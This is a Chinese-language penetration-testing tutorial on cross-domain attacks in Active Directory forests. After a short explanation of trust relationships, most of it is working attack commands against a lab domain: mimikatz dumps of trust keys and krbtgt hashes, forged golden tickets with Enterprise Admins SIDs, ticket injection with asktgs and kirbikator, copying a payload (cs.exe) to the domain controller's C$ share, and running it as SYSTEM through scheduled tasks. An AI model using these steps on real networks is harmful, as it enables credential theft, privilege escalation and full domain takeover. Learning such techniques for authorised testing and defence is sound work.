目录
内网中的域林:
很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以 主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不 同的区域。
域信任关系
建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管 理和维护,域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同 时,域信任利用DNS服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个 域,也就不存在通过域信任关系进行跨域资源共享了
域信任关系分类
域信任关系分为单向信任和双向信任 单向信任:是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问 流,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域 内的资源。也就是说,A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。 双向信任:是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问 流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向 可传递的。在创建子域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身 份验证请求可以通关其父域向上流向信任域 域信任关系也可以分为内部信任和外部信任 内部信任:在默认情况下,用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信 任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为 内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域, 则BA域也信任DA域。 外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。 只有domain admins组中的用户可以管理域信任关系
跨域攻击:在内网中,拿到了一台机器,先确定位置,我们的目标就是拿下域控,确定位置以后,根据自己所处域的位置,尽所能的拿到域控权限,有时我们会在一个子域里面,或者域树里,需要我们先进行信息收集,知道自己所处的位置,然后有选择的进行跨域以此来达到拿下域控的目的
常见的跨域攻击方式:
1、常规渗透方法(利用web漏洞)
2、哈希传递票据攻击
3、利用域信任关系
获取域信息
在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权 限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员
查看当前域中计算机的权限
whoami /all
使用lg工具获取域的相关信息
查看域信任关系
shell nltest /domain_trusts
发现这是一个子域
获取当前域中的用户组
shell LG.exe abc\.
利用域信任密钥获取目标域
利用:
先拿下一个子域控,进行信息收集,从而通过子域控的用户执行命令拿下域控
1.先查看是否访问服务器:
shell dir \\dc.hack.com\c$
不能访问
2.使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥rc4
mimikatz lsadump::trust /patch
mimikatz lsadump::lsa /patch /user:HACK$
在子域域控上进行信息收集,在子域的用户进行执行命令
在普通的域内用户中创建创建高权限票据
mimikatz kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi
查看是否生成成功
shell dir
上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据
创建CIFS服务的票据进行复制文件的操作
shell asktgs.exe administrator.kirbi CIFS/DC.hack.com
将票据注入内存
shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi
访问域控
shell dir \\dc.hack.com\c$
复制恶意文件
shell copy cs.exe \\dc.hack.com\c$
提示拒绝访问,说明没有权限,那么再伪造一个host票据
伪造结束再次复制
创建计划任务
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f
执行计划任务
schtasks /run /s dc.hack.com /i /tn "test"
最后成功上线
利用krbtgt哈希值获取目标域
利用:
获取krbtgt的散列值:
mimikatz lsadump::lsa /patch /user:krbtgt
获取关键信息:SID
mimikatz lsadump::trust /patch
构造并注入黄金票据
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID519 /krbtgt:krbtgt散列 /ptt
访问目标域
shell dir \\dc.hack.com\c$
复制恶意文件
执行计划任务
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f
启动计划任务:
schtasks /run /s dc.hack.com /i /tn "test"
上线